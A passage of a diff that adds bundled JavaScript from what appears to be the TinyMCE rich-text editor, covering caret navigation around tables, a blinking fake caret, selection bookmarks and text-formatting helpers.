+    var forcedRootBlock = $_259vs538jjgwe82a.getForcedRootBlock(editor);
+    if (forcedRootBlock) {
+      editor.undoManager.transact(function () {
+        var element = Element$$1.fromTag(forcedRootBlock);
+        $_etx7gr15jjgwe7mr.setAll(element, $_259vs538jjgwe82a.getForcedRootBlockAttrs(editor));
+        $_ewo3u51yjjgwe7su.append(element, Element$$1.fromTag('br'));
+        if (down) {
+          $_ewo3u51yjjgwe7su.after(Element$$1.fromDom(table), element);
+        } else {
+          $_ewo3u51yjjgwe7su.before(Element$$1.fromDom(table), element);
+        }
+        var rng = editor.dom.createRng();
+        rng.setStart(element.dom(), 0);
+        rng.setEnd(element.dom(), 0);
+        moveToRange(editor, rng);
+      });
+    } else {
+      moveToRange(editor, pos.toRange());
+    }
+  };
+  var moveCaret = function (editor, down, pos) {
+    var table = down ? getTable(true, pos) : getTable(false, pos);
+    var last$$1 = down === false;
+    table.fold(function () {
+      return moveToRange(editor, pos.toRange());
+    }, function (table) {
+      return $_8q1ver2yjjgwe7z3.positionIn(last$$1, editor.getBody()).filter(function (lastPos) {
+        return lastPos.isEqual(pos);
+      }).fold(function () {
+        return moveToRange(editor, pos.toRange());
+      }, function (_) {
+        return renderBlock(down, editor, table, pos);
+      });
+    });
+  };
+  var navigateVertically = function (editor, down, table, td) {
+    var rng = editor.selection.getRng();
+    var pos = CaretPosition$1.fromRangeStart(rng);
+    var root = editor.getBody();
+    if (!down && isAtFirstTableCellLine(td, pos)) {
+      var newPos = getClosestAbovePosition(root, table, pos);
+      moveCaret(editor, down, newPos);
+      return true;
+    } else if (down && isAtLastTableCellLine(td, pos)) {
+      var newPos = getClosestBelowPosition(root, table, pos);
+      moveCaret(editor, down, newPos);
+      return true;
+    } else {
+      return false;
+    }
+  };
+  var moveH = function (editor, forward) {
+    return function () {
+      return Option.from(editor.dom.getParent(editor.selection.getNode(), 'td,th')).bind(function (td) {
+        return Option.from(editor.dom.getParent(td, 'table')).map(function (table) {
+          return navigateHorizontally(editor, forward, table, td);
+        });
+      }).getOr(false);
+    };
+  };
+  var moveV = function (editor, forward) {
+    return function () {
+      return Option.from(editor.dom.getParent(editor.selection.getNode(), 'td,th')).bind(function (td) {
+        return Option.from(editor.dom.getParent(td, 'table')).map(function (table) {
+          return navigateVertically(editor, forward, table, td);
+        });
+      }).getOr(false);
+    };
+  };
+
+  var isContentEditableFalse$5 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var isTableCell$1 = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isElement(node) && /^(TD|TH)$/i.test(node.tagName);
+  };
+  var getAbsoluteClientRect = function (root, element, before) {
+    var clientRect = collapse(element.getBoundingClientRect(), before);
+    var docElm, scrollX, scrollY, margin, rootRect;
+    if (root.tagName === 'BODY') {
+      docElm = root.ownerDocument.documentElement;
+      scrollX = root.scrollLeft || docElm.scrollLeft;
+      scrollY = root.scrollTop || docElm.scrollTop;
+    } else {
+      rootRect = root.getBoundingClientRect();
+      scrollX = root.scrollLeft - rootRect.left;
+      scrollY = root.scrollTop - rootRect.top;
+    }
+    clientRect.left += scrollX;
+    clientRect.right += scrollX;
+    clientRect.top += scrollY;
+    clientRect.bottom += scrollY;
+    clientRect.width = 1;
+    margin = element.offsetWidth - element.clientWidth;
+    if (margin > 0) {
+      if (before) {
+        margin *= -1;
+      }
+      clientRect.left += margin;
+      clientRect.right += margin;
+    }
+    return clientRect;
+  };
+  var trimInlineCaretContainers = function (root) {
+    var contentEditableFalseNodes, node, sibling, i, data;
+    contentEditableFalseNodes = DomQuery('*[contentEditable=false]', root);
+    for (i = 0; i < contentEditableFalseNodes.length; i++) {
+      node = contentEditableFalseNodes[i];
+      sibling = node.previousSibling;
+      if (endsWithCaretContainer(sibling)) {
+        data = sibling.data;
+        if (data.length === 1) {
+          sibling.parentNode.removeChild(sibling);
+        } else {
+          sibling.deleteData(data.length - 1, 1);
+        }
+      }
+      sibling = node.nextSibling;
+      if (startsWithCaretContainer(sibling)) {
+        data = sibling.data;
+        if (data.length === 1) {
+          sibling.parentNode.removeChild(sibling);
+        } else {
+          sibling.deleteData(0, 1);
+        }
+      }
+    }
+  };
+  var FakeCaret = function (root, isBlock, hasFocus) {
+    var lastVisualCaret = Cell(Option.none());
+    var cursorInterval, caretContainerNode;
+    var show = function (before, element) {
+      var clientRect, rng;
+      hide();
+      if (isTableCell$1(element)) {
+        return null;
+      }
+      if (isBlock(element)) {
+        caretContainerNode = insertBlock('p', element, before);
+        clientRect = getAbsoluteClientRect(root, element, before);
+        DomQuery(caretContainerNode).css('top', clientRect.top);
+        var caret = DomQuery('<div class="mce-visual-caret" data-mce-bogus="all"></div>').css(clientRect).appendTo(root)[0];
+        lastVisualCaret.set(Option.some({
+          caret: caret,
+          element: element,
+          before: before
+        }));
+        lastVisualCaret.get().each(function (caretState) {
+          if (before) {
+            DomQuery(caretState.caret).addClass('mce-visual-caret-before');
+          }
+        });
+        startBlink();
+        rng = element.ownerDocument.createRange();
+        rng.setStart(caretContainerNode, 0);
+        rng.setEnd(caretContainerNode, 0);
+      } else {
+        caretContainerNode = insertInline(element, before);
+        rng = element.ownerDocument.createRange();
+        if (isContentEditableFalse$5(caretContainerNode.nextSibling)) {
+          rng.setStart(caretContainerNode, 0);
+          rng.setEnd(caretContainerNode, 0);
+        } else {
+          rng.setStart(caretContainerNode, 1);
+          rng.setEnd(caretContainerNode, 1);
+        }
+        return rng;
+      }
+      return rng;
+    };
+    var hide = function () {
+      trimInlineCaretContainers(root);
+      if (caretContainerNode) {
+        $_cueauu31jjgwe7zy.remove(caretContainerNode);
+        caretContainerNode = null;
+      }
+      lastVisualCaret.get().each(function (caretState) {
+        DomQuery(caretState.caret).remove();
+        lastVisualCaret.set(Option.none());
+      });
+      clearInterval(cursorInterval);
+    };
+    var startBlink = function () {
+      cursorInterval = $_9o1ijaijjgwe7dm.setInterval(function () {
+        if (hasFocus()) {
+          DomQuery('div.mce-visual-caret', root).toggleClass('mce-visual-caret-hidden');
+        } else {
+          DomQuery('div.mce-visual-caret', root).addClass('mce-visual-caret-hidden');
+        }
+      }, 500);
+    };
+    var reposition = function () {
+      lastVisualCaret.get().each(function (caretState) {
+        var clientRect = getAbsoluteClientRect(root, caretState.element, caretState.before);
+        DomQuery(caretState.caret).css(clientRect);
+      });
+    };
+    var destroy = function () {
+      return $_9o1ijaijjgwe7dm.clearInterval(cursorInterval);
+    };
+    var getCss = function () {
+      return '.mce-visual-caret {' + 'position: absolute;' + 'background-color: black;' + 'background-color: currentcolor;' + '}' + '.mce-visual-caret-hidden {' + 'display: none;' + '}' + '*[data-mce-caret] {' + 'position: absolute;' + 'left: -1000px;' + 'right: auto;' + 'top: 0;' + 'margin: 0;' + 'padding: 0;' + '}';
+    };
+    return {
+      show: show,
+      hide: hide,
+      getCss: getCss,
+      reposition: reposition,
+      destroy: destroy
+    };
+  };
+  var isFakeCaretTarget = function (node) {
+    return isContentEditableFalse$5(node) || $_3b9u2y1rjjgwe7qe.isTable(node) && isFakeCaretTableBrowser();
+  };
+
+  var isContentEditableFalse$6 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var isBlockLike = $_3b9u2y1rjjgwe7qe.matchStyleValues('display', 'block table table-cell table-caption list-item');
+  var isCaretContainer$2 = isCaretContainer;
+  var isCaretContainerBlock$1 = isCaretContainerBlock;
+  var curry$2 = $_4127e12ljjgwe7ww.curry;
+  var isElement$6 = $_3b9u2y1rjjgwe7qe.isElement;
+  var isCaretCandidate$3 = isCaretCandidate;
+  var isForwards = function (direction) {
+    return direction > 0;
+  };
+  var isBackwards = function (direction) {
+    return direction < 0;
+  };
+  var skipCaretContainers = function (walk, shallow) {
+    var node;
+    while (node = walk(shallow)) {
+      if (!isCaretContainerBlock$1(node)) {
+        return node;
+      }
+    }
+    return null;
+  };
+  var findNode = function (node, direction, predicateFn, rootNode, shallow) {
+    var walker = new TreeWalker(node, rootNode);
+    if (isBackwards(direction)) {
+      if (isContentEditableFalse$6(node) || isCaretContainerBlock$1(node)) {
+        node = skipCaretContainers(walker.prev, true);
+        if (predicateFn(node)) {
+          return node;
+        }
+      }
+      while (node = skipCaretContainers(walker.prev, shallow)) {
+        if (predicateFn(node)) {
+          return node;
+        }
+      }
+    }
+    if (isForwards(direction)) {
+      if (isContentEditableFalse$6(node) || isCaretContainerBlock$1(node)) {
+        node = skipCaretContainers(walker.next, true);
+        if (predicateFn(node)) {
+          return node;
+        }
+      }
+      while (node = skipCaretContainers(walker.next, shallow)) {
+        if (predicateFn(node)) {
+          return node;
+        }
+      }
+    }
+    return null;
+  };
+  var getParentBlock = function (node, rootNode) {
+    while (node && node !== rootNode) {
+      if (isBlockLike(node)) {
+        return node;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+  var isInSameBlock = function (caretPosition1, caretPosition2, rootNode) {
+    return getParentBlock(caretPosition1.container(), rootNode) === getParentBlock(caretPosition2.container(), rootNode);
+  };
+  var getChildNodeAtRelativeOffset = function (relativeOffset, caretPosition) {
+    var container, offset;
+    if (!caretPosition) {
+      return null;
+    }
+    container = caretPosition.container();
+    offset = caretPosition.offset();
+    if (!isElement$6(container)) {
+      return null;
+    }
+    return container.childNodes[offset + relativeOffset];
+  };
+  var beforeAfter = function (before, node) {
+    var range = node.ownerDocument.createRange();
+    if (before) {
+      range.setStartBefore(node);
+      range.setEndBefore(node);
+    } else {
+      range.setStartAfter(node);
+      range.setEndAfter(node);
+    }
+    return range;
+  };
+  var isNodesInSameBlock = function (root, node1, node2) {
+    return getParentBlock(node1, root) === getParentBlock(node2, root);
+  };
+  var lean = function (left, root, node) {
+    var sibling, siblingName;
+    if (left) {
+      siblingName = 'previousSibling';
+    } else {
+      siblingName = 'nextSibling';
+    }
+    while (node && node !== root) {
+      sibling = node[siblingName];
+      if (isCaretContainer$2(sibling)) {
+        sibling = sibling[siblingName];
+      }
+      if (isContentEditableFalse$6(sibling)) {
+        if (isNodesInSameBlock(root, sibling, node)) {
+          return sibling;
+        }
+        break;
+      }
+      if (isCaretCandidate$3(sibling)) {
+        break;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+  var before$2 = curry$2(beforeAfter, true);
+  var after$2 = curry$2(beforeAfter, false);
+  var normalizeRange = function (direction, root, range) {
+    var node, container, offset, location;
+    var leanLeft = curry$2(lean, true, root);
+    var leanRight = curry$2(lean, false, root);
+    container = range.startContainer;
+    offset = range.startOffset;
+    if (isCaretContainerBlock(container)) {
+      if (!isElement$6(container)) {
+        container = container.parentNode;
+      }
+      location = container.getAttribute('data-mce-caret');
+      if (location === 'before') {
+        node = container.nextSibling;
+        if (isFakeCaretTarget(node)) {
+          return before$2(node);
+        }
+      }
+      if (location === 'after') {
+        node = container.previousSibling;
+        if (isFakeCaretTarget(node)) {
+          return after$2(node);
+        }
+      }
+    }
+    if (!range.collapsed) {
+      return range;
+    }
+    if ($_3b9u2y1rjjgwe7qe.isText(container)) {
+      if (isCaretContainer$2(container)) {
+        if (direction === 1) {
+          node = leanRight(container);
+          if (node) {
+            return before$2(node);
+          }
+          node = leanLeft(container);
+          if (node) {
+            return after$2(node);
+          }
+        }
+        if (direction === -1) {
+          node = leanLeft(container);
+          if (node) {
+            return after$2(node);
+          }
+          node = leanRight(container);
+          if (node) {
+            return before$2(node);
+          }
+        }
+        return range;
+      }
+      if (endsWithCaretContainer(container) && offset >= container.data.length - 1) {
+        if (direction === 1) {
+          node = leanRight(container);
+          if (node) {
+            return before$2(node);
+          }
+        }
+        return range;
+      }
+      if (startsWithCaretContainer(container) && offset <= 1) {
+        if (direction === -1) {
+          node = leanLeft(container);
+          if (node) {
+            return after$2(node);
+          }
+        }
+        return range;
+      }
+      if (offset === container.data.length) {
+        node = leanRight(container);
+        if (node) {
+          return before$2(node);
+        }
+        return range;
+      }
+      if (offset === 0) {
+        node = leanLeft(container);
+        if (node) {
+          return after$2(node);
+        }
+        return range;
+      }
+    }
+    return range;
+  };
+  var isNextToContentEditableFalse = function (relativeOffset, caretPosition) {
+    var node = getChildNodeAtRelativeOffset(relativeOffset, caretPosition);
+    return isContentEditableFalse$6(node) && !$_3b9u2y1rjjgwe7qe.isBogusAll(node);
+  };
+  var isNextToTable = function (relativeOffset, caretPosition) {
+    return $_3b9u2y1rjjgwe7qe.isTable(getChildNodeAtRelativeOffset(relativeOffset, caretPosition));
+  };
+  var getRelativeCefElm = function (forward, caretPosition) {
+    return Option.from(getChildNodeAtRelativeOffset(forward ? 0 : -1, caretPosition)).filter(isContentEditableFalse$6);
+  };
+  var getNormalizedRangeEndPoint = function (direction, root, range) {
+    var normalizedRange = normalizeRange(direction, root, range);
+    if (direction === -1) {
+      return CaretPosition.fromRangeStart(normalizedRange);
+    }
+    return CaretPosition.fromRangeEnd(normalizedRange);
+  };
+  var isBeforeContentEditableFalse = curry$2(isNextToContentEditableFalse, 0);
+  var isAfterContentEditableFalse = curry$2(isNextToContentEditableFalse, -1);
+  var isBeforeTable = curry$2(isNextToTable, 0);
+  var isAfterTable = curry$2(isNextToTable, -1);
+
+  var walkToPositionIn = function (forward, root, start) {
+    var position = forward ? CaretPosition$1.before(start) : CaretPosition$1.after(start);
+    return fromPosition(forward, root, position);
+  };
+  var afterElement = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isBr(node) ? CaretPosition$1.before(node) : CaretPosition$1.after(node);
+  };
+  var isBeforeOrStart = function (position) {
+    if (CaretPosition$1.isTextPosition(position)) {
+      return position.offset() === 0;
+    } else {
+      return isCaretCandidate(position.getNode());
+    }
+  };
+  var isAfterOrEnd = function (position) {
+    if (CaretPosition$1.isTextPosition(position)) {
+      var container = position.container();
+      return position.offset() === container.data.length;
+    } else {
+      return isCaretCandidate(position.getNode(true));
+    }
+  };
+  var isBeforeAfterSameElement = function (from, to) {
+    return !CaretPosition$1.isTextPosition(from) && !CaretPosition$1.isTextPosition(to) && from.getNode() === to.getNode(true);
+  };
+  var isAtBr = function (position) {
+    return !CaretPosition$1.isTextPosition(position) && $_3b9u2y1rjjgwe7qe.isBr(position.getNode());
+  };
+  var shouldSkipPosition = function (forward, from, to) {
+    if (forward) {
+      return !isBeforeAfterSameElement(from, to) && !isAtBr(from) && isAfterOrEnd(from) && isBeforeOrStart(to);
+    } else {
+      return !isBeforeAfterSameElement(to, from) && isBeforeOrStart(from) && isAfterOrEnd(to);
+    }
+  };
+  var fromPosition = function (forward, root, pos) {
+    var walker = CaretWalker(root);
+    return Option.from(forward ? walker.next(pos) : walker.prev(pos));
+  };
+  var navigate = function (forward, root, from) {
+    return fromPosition(forward, root, from).bind(function (to) {
+      if (isInSameBlock(from, to, root) && shouldSkipPosition(forward, from, to)) {
+        return fromPosition(forward, root, to);
+      } else {
+        return Option.some(to);
+      }
+    });
+  };
+  var positionIn = function (forward, element) {
+    var startNode = forward ? element.firstChild : element.lastChild;
+    if ($_3b9u2y1rjjgwe7qe.isText(startNode)) {
+      return Option.some(CaretPosition$1(startNode, forward ? 0 : startNode.data.length));
+    } else if (startNode) {
+      if (isCaretCandidate(startNode)) {
+        return Option.some(forward ? CaretPosition$1.before(startNode) : afterElement(startNode));
+      } else {
+        return walkToPositionIn(forward, element, startNode);
+      }
+    } else {
+      return Option.none();
+    }
+  };
+  var $_8q1ver2yjjgwe7z3 = {
+    fromPosition: fromPosition,
+    nextPosition: curry(fromPosition, true),
+    prevPosition: curry(fromPosition, false),
+    navigate: navigate,
+    positionIn: positionIn,
+    firstPositionIn: curry(positionIn, true),
+    lastPositionIn: curry(positionIn, false)
+  };
+
+  var isStringPathBookmark = function (bookmark) {
+    return typeof bookmark.start === 'string';
+  };
+  var isRangeBookmark = function (bookmark) {
+    return bookmark.hasOwnProperty('rng');
+  };
+  var isIdBookmark = function (bookmark) {
+    return bookmark.hasOwnProperty('id');
+  };
+  var isIndexBookmark = function (bookmark) {
+    return bookmark.hasOwnProperty('name');
+  };
+  var isPathBookmark = function (bookmark) {
+    return $_6cwiepljjgwe7j4.isArray(bookmark.start);
+  };
+
+  var addBogus = function (dom, node) {
+    if (dom.isBlock(node) && !node.innerHTML && !$_bcvfv9ajjgwe79v.ie) {
+      node.innerHTML = '<br data-mce-bogus="1" />';
+    }
+    return node;
+  };
+  var resolveCaretPositionBookmark = function (dom, bookmark) {
+    var rng, pos;
+    rng = dom.createRng();
+    pos = resolve$2(dom.getRoot(), bookmark.start);
+    rng.setStart(pos.container(), pos.offset());
+    pos = resolve$2(dom.getRoot(), bookmark.end);
+    rng.setEnd(pos.container(), pos.offset());
+    return rng;
+  };
+  var insertZwsp = function (node, rng) {
+    var textNode = node.ownerDocument.createTextNode($_2xw7ul2pjjgwe7xs.ZWSP);
+    node.appendChild(textNode);
+    rng.setStart(textNode, 0);
+    rng.setEnd(textNode, 0);
+  };
+  var isEmpty = function (node) {
+    return node.hasChildNodes() === false;
+  };
+  var tryFindRangePosition = function (node, rng) {
+    return $_8q1ver2yjjgwe7z3.lastPositionIn(node).fold(function () {
+      return false;
+    }, function (pos) {
+      rng.setStart(pos.container(), pos.offset());
+      rng.setEnd(pos.container(), pos.offset());
+      return true;
+    });
+  };
+  var padEmptyCaretContainer = function (root, node, rng) {
+    if (isEmpty(node) && getParentCaretContainer(root, node)) {
+      insertZwsp(node, rng);
+      return true;
+    } else {
+      return false;
+    }
+  };
+  var setEndPoint = function (dom, start, bookmark, rng) {
+    var point = bookmark[start ? 'start' : 'end'];
+    var i, node, offset, children;
+    var root = dom.getRoot();
+    if (point) {
+      offset = point[0];
+      for (node = root, i = point.length - 1; i >= 1; i--) {
+        children = node.childNodes;
+        if (padEmptyCaretContainer(root, node, rng)) {
+          return true;
+        }
+        if (point[i] > children.length - 1) {
+          if (padEmptyCaretContainer(root, node, rng)) {
+            return true;
+          }
+          return tryFindRangePosition(node, rng);
+        }
+        node = children[point[i]];
+      }
+      if (node.nodeType === 3) {
+        offset = Math.min(point[0], node.nodeValue.length);
+      }
+      if (node.nodeType === 1) {
+        offset = Math.min(point[0], node.childNodes.length);
+      }
+      if (start) {
+        rng.setStart(node, offset);
+      } else {
+        rng.setEnd(node, offset);
+      }
+    }
+    return true;
+  };
+  var isValidTextNode = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isText(node) && node.data.length > 0;
+  };
+  var restoreEndPoint = function (dom, suffix, bookmark) {
+    var marker = dom.get(bookmark.id + '_' + suffix), node, idx, next, prev;
+    var keep = bookmark.keep;
+    var container, offset;
+    if (marker) {
+      node = marker.parentNode;
+      if (suffix === 'start') {
+        if (!keep) {
+          idx = dom.nodeIndex(marker);
+        } else {
+          if (marker.hasChildNodes()) {
+            node = marker.firstChild;
+            idx = 1;
+          } else if (isValidTextNode(marker.nextSibling)) {
+            node = marker.nextSibling;
+            idx = 0;
+          } else if (isValidTextNode(marker.previousSibling)) {
+            node = marker.previousSibling;
+            idx = marker.previousSibling.data.length;
+          } else {
+            node = marker.parentNode;
+            idx = dom.nodeIndex(marker) + 1;
+          }
+        }
+        container = node;
+        offset = idx;
+      } else {
+        if (!keep) {
+          idx = dom.nodeIndex(marker);
+        } else {
+          if (marker.hasChildNodes()) {
+            node = marker.firstChild;
+            idx = 1;
+          } else if (isValidTextNode(marker.previousSibling)) {
+            node = marker.previousSibling;
+            idx = marker.previousSibling.data.length;
+          } else {
+            node = marker.parentNode;
+            idx = dom.nodeIndex(marker);
+          }
+        }
+        container = node;
+        offset = idx;
+      }
+      if (!keep) {
+        prev = marker.previousSibling;
+        next = marker.nextSibling;
+        $_6cwiepljjgwe7j4.each($_6cwiepljjgwe7j4.grep(marker.childNodes), function (node) {
+          if ($_3b9u2y1rjjgwe7qe.isText(node)) {
+            node.nodeValue = node.nodeValue.replace(/\uFEFF/g, '');
+          }
+        });
+        while (marker = dom.get(bookmark.id + '_' + suffix)) {
+          dom.remove(marker, true);
+        }
+        if (prev && next && prev.nodeType === next.nodeType && $_3b9u2y1rjjgwe7qe.isText(prev) && !$_bcvfv9ajjgwe79v.opera) {
+          idx = prev.nodeValue.length;
+          prev.appendData(next.nodeValue);
+          dom.remove(next);
+          if (suffix === 'start') {
+            container = prev;
+            offset = idx;
+          } else {
+            container = prev;
+            offset = idx;
+          }
+        }
+      }
+      return Option.some(CaretPosition$1(container, offset));
+    } else {
+      return Option.none();
+    }
+  };
+  var alt = function (o1, o2) {
+    return o1.isSome() ? o1 : o2;
+  };
+  var resolvePaths = function (dom, bookmark) {
+    var rng = dom.createRng();
+    if (setEndPoint(dom, true, bookmark, rng) && setEndPoint(dom, false, bookmark, rng)) {
+      return Option.some(rng);
+    } else {
+      return Option.none();
+    }
+  };
+  var resolveId = function (dom, bookmark) {
+    var startPos = restoreEndPoint(dom, 'start', bookmark);
+    var endPos = restoreEndPoint(dom, 'end', bookmark);
+    return liftN([
+      startPos,
+      alt(endPos, startPos)
+    ], function (spos, epos) {
+      var rng = dom.createRng();
+      rng.setStart(addBogus(dom, spos.container()), spos.offset());
+      rng.setEnd(addBogus(dom, epos.container()), epos.offset());
+      return rng;
+    });
+  };
+  var resolveIndex$1 = function (dom, bookmark) {
+    return Option.from(dom.select(bookmark.name)[bookmark.index]).map(function (elm) {
+      var rng = dom.createRng();
+      rng.selectNode(elm);
+      return rng;
+    });
+  };
+  var resolve$3 = function (selection, bookmark) {
+    var dom = selection.dom;
+    if (bookmark) {
+      if (isPathBookmark(bookmark)) {
+        return resolvePaths(dom, bookmark);
+      } else if (isStringPathBookmark(bookmark)) {
+        return Option.some(resolveCaretPositionBookmark(dom, bookmark));
+      } else if (isIdBookmark(bookmark)) {
+        return resolveId(dom, bookmark);
+      } else if (isIndexBookmark(bookmark)) {
+        return resolveIndex$1(dom, bookmark);
+      } else if (isRangeBookmark(bookmark)) {
+        return Option.some(bookmark.rng);
+      }
+    }
+    return Option.none();
+  };
+  var $_6xjyb22wjjgwe7yr = { resolve: resolve$3 };
+
+  var getBookmark$1 = function (selection, type, normalized) {
+    return $_ga29lf2jjjgwe7wh.getBookmark(selection, type, normalized);
+  };
+  var moveToBookmark = function (selection, bookmark) {
+    $_6xjyb22wjjgwe7yr.resolve(selection, bookmark).each(function (rng) {
+      selection.setRng(rng);
+    });
+  };
+  var isBookmarkNode$1 = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isElement(node) && node.tagName === 'SPAN' && node.getAttribute('data-mce-type') === 'bookmark';
+  };
+  var $_6refgt2vjjgwe7yn = {
+    getBookmark: getBookmark$1,
+    moveToBookmark: moveToBookmark,
+    isBookmarkNode: isBookmarkNode$1
+  };
+
+  var isInlineBlock = function (node) {
+    return node && /^(IMG)$/.test(node.nodeName);
+  };
+  var moveStart = function (dom, selection, rng) {
+    var offset = rng.startOffset;
+    var container = rng.startContainer, walker, node, nodes;
+    if (rng.startContainer === rng.endContainer) {
+      if (isInlineBlock(rng.startContainer.childNodes[rng.startOffset])) {
+        return;
+      }
+    }
+    if (container.nodeType === 1) {
+      nodes = container.childNodes;
+      if (offset < nodes.length) {
+        container = nodes[offset];
+        walker = new TreeWalker(container, dom.getParent(container, dom.isBlock));
+      } else {
+        container = nodes[nodes.length - 1];
+        walker = new TreeWalker(container, dom.getParent(container, dom.isBlock));
+        walker.next(true);
+      }
+      for (node = walker.current(); node; node = walker.next()) {
+        if (node.nodeType === 3 && !isWhiteSpaceNode(node)) {
+          rng.setStart(node, 0);
+          selection.setRng(rng);
+          return;
+        }
+      }
+    }
+  };
+  var getNonWhiteSpaceSibling = function (node, next, inc) {
+    if (node) {
+      next = next ? 'nextSibling' : 'previousSibling';
+      for (node = inc ? node : node[next]; node; node = node[next]) {
+        if (node.nodeType === 1 || !isWhiteSpaceNode(node)) {
+          return node;
+        }
+      }
+    }
+  };
+  var isTextBlock$1 = function (editor, name) {
+    if (name.nodeType) {
+      name = name.nodeName;
+    }
+    return !!editor.schema.getTextBlockElements()[name.toLowerCase()];
+  };
+  var isValid = function (ed, parent, child) {
+    return ed.schema.isValidChild(parent, child);
+  };
+  var isWhiteSpaceNode = function (node) {
+    return node && node.nodeType === 3 && /^([\t \r\n]+|)$/.test(node.nodeValue);
+  };
+  var replaceVars = function (value, vars) {
+    if (typeof value !== 'string') {
+      value = value(vars);
+    } else if (vars) {
+      value = value.replace(/%(\w+)/g, function (str, name) {
+        return vars[name] || str;
+      });
+    }
+    return value;
+  };
+  var isEq = function (str1, str2) {
+    str1 = str1 || '';
+    str2 = str2 || '';
+    str1 = '' + (str1.nodeName || str1);
+    str2 = '' + (str2.nodeName || str2);
+    return str1.toLowerCase() === str2.toLowerCase();
+  };
+  var normalizeStyleValue = function (dom, value, name) {
+    if (name === 'color' || name === 'backgroundColor') {
+      value = dom.toHex(value);
+    }
+    if (name === 'fontWeight' && value === 700) {
+      value = 'bold';
+    }
+    if (name === 'fontFamily') {
+      value = value.replace(/[\'\"]/g, '').replace(/,\s+/g, ',');
+    }
+    return '' + value;
+  };
+  var getStyle = function (dom, node, name) {
+    return normalizeStyleValue(dom, dom.getStyle(node, name), name);
+  };
+  var getTextDecoration = function (dom, node) {
+    var decoration;
+    dom.getParent(node, function (n) {
+      decoration = dom.getStyle(n, 'text-decoration');
+      return decoration && decoration !== 'none';
+    });
+    return decoration;
+  };
+  var getParents$1 = function (dom, node, selector) {
+    return dom.getParents(node, selector, dom.getRoot());
+  };
+  var $_4301413ajjgwe82g = {
+    isInlineBlock: isInlineBlock,
+    moveStart: moveStart,
+    getNonWhiteSpaceSibling: getNonWhiteSpaceSibling,
+    isTextBlock: isTextBlock$1,
+    isValid: isValid,
+    isWhiteSpaceNode: isWhiteSpaceNode,
+    replaceVars: replaceVars,
+    isEq: isEq,
+    normalizeStyleValue: normalizeStyleValue,
+    getStyle: getStyle,
+    getTextDecoration: getTextDecoration,
+    getParents: getParents$1
+  };
+
+  var isBookmarkNode$2 = $_6refgt2vjjgwe7yn.isBookmarkNode;
+  var getParents$2 = $_4301413ajjgwe82g.getParents;
+  var isWhiteSpaceNode$1 = $_4301413ajjgwe82g.isWhiteSpaceNode;
+  var isTextBlock$2 = $_4301413ajjgwe82g.isTextBlock;
+  var findLeaf = function (node, offset) {
+    if (typeof offset === 'undefined') {
+      offset = node.nodeType === 3 ? node.length : node.childNodes.length;
+    }
+    while (node && node.hasChildNodes()) {
+      node = node.childNodes[offset];
+      if (node) {
+        offset = node.nodeType === 3 ? node.length : node.childNodes.length;
+      }
+    }
+    return {
+      node: node,
+      offset: offset
+    };
+  };
+  var excludeTrailingWhitespace = function (endContainer, endOffset) {
+    var leaf = findLeaf(endContainer, endOffset);
+    if (leaf.node) {
+      while (leaf.node && leaf.offset === 0 && leaf.node.previousSibling) {
+        leaf = findLeaf(leaf.node.previousSibling);
+      }
+      if (leaf.node && leaf.offset > 0 && leaf.node.nodeType === 3 && leaf.node.nodeValue.charAt(leaf.offset - 1) === ' ') {
+        if (leaf.offset > 1) {
+          endContainer = leaf.node;
+          endContainer.splitText(leaf.offset - 1);
+        }
+      }
+    }
+    return endContainer;
+  };
+  var isBogusBr = function (node) {
+    return node.nodeName === 'BR' && node.getAttribute('data-mce-bogus') && !node.nextSibling;
+  };
+  var findParentContentEditable = function (dom, node) {
+    var parent = node;
+    while (parent) {
+      if (parent.nodeType === 1 && dom.getContentEditable(parent)) {
+        return dom.getContentEditable(parent) === 'false' ? parent : node;
+      }
+      parent = parent.parentNode;
+    }
+    return node;
+  };
+  var findSpace = function (start, remove, node, offset) {
+    var pos, pos2;
+    var str = node.nodeValue;
+    if (typeof offset === 'undefined') {
+      offset = start ? str.length : 0;
+    }
+    if (start) {
+      pos = str.lastIndexOf(' ', offset);
+      pos2 = str.lastIndexOf('\xA0', offset);
+      pos = pos > pos2 ? pos : pos2;
+      if (pos !== -1 && !remove) {
+        pos++;
+      }
+    } else {
+      pos = str.indexOf(' ', offset);
+      pos2 = str.indexOf('\xA0', offset);
+      pos = pos !== -1 && (pos2 === -1 || pos < pos2) ? pos : pos2;
+    }
+    return pos;
+  };
+  var findWordEndPoint = function (dom, body, container, offset, start, remove) {
+    var walker, node, pos, lastTextNode;
+    if (container.nodeType === 3) {
+      pos = findSpace(start, remove, container, offset);
+      if (pos !== -1) {
+        return {
+          container: container,
+          offset: pos
+        };
+      }
+      lastTextNode = container;
+    }
+    walker = new TreeWalker(container, dom.getParent(container, dom.isBlock) || body);
+    while (node = walker[start ? 'prev' : 'next']()) {
+      if (node.nodeType === 3) {
+        lastTextNode = node;
+        pos = findSpace(start, remove, node);
+        if (pos !== -1) {
+          return {
+            container: node,
+            offset: pos
+          };
+        }
+      } else if (dom.isBlock(node)) {
+        break;
+      }
+    }
+    if (lastTextNode) {
+      if (start) {
+        offset = 0;
+      } else {
+        offset = lastTextNode.length;
+      }
+      return {
+        container: lastTextNode,
+        offset: offset
+      };
+    }
+  };
+  var findSelectorEndPoint = function (dom, format, rng, container, siblingName) {
+    var parents, i, y, curFormat;
+    if (container.nodeType === 3 && container.nodeValue.length === 0 && container[siblingName]) {
+      container = container[siblingName];
+    }
+    parents = getParents$2(dom, container);
+    for (i = 0; i < parents.length; i++) {
+      for (y = 0; y < format.length; y++) {
+        curFormat = format[y];
+        if ('collapsed' in curFormat && curFormat.collapsed !== rng.collapsed) {
+          continue;
+        }
+        if (dom.is(parents[i], curFormat.selector)) {
+          return parents[i];
+        }
+      }
+    }
+    return container;
+  };
+  var findBlockEndPoint = function (editor, format, container, siblingName) {
+    var node;
+    var dom = editor.dom;
+    var root = dom.getRoot();
+    if (!format[0].wrapper) {
+      node = dom.getParent(container, format[0].block, root);
+    }
+    if (!node) {
+      var scopeRoot = dom.getParent(container, 'LI,TD,TH');
+      node = dom.getParent(container.nodeType === 3 ? container.parentNode : container, function (node) {
+        return node !== root && isTextBlock$2(editor, node);
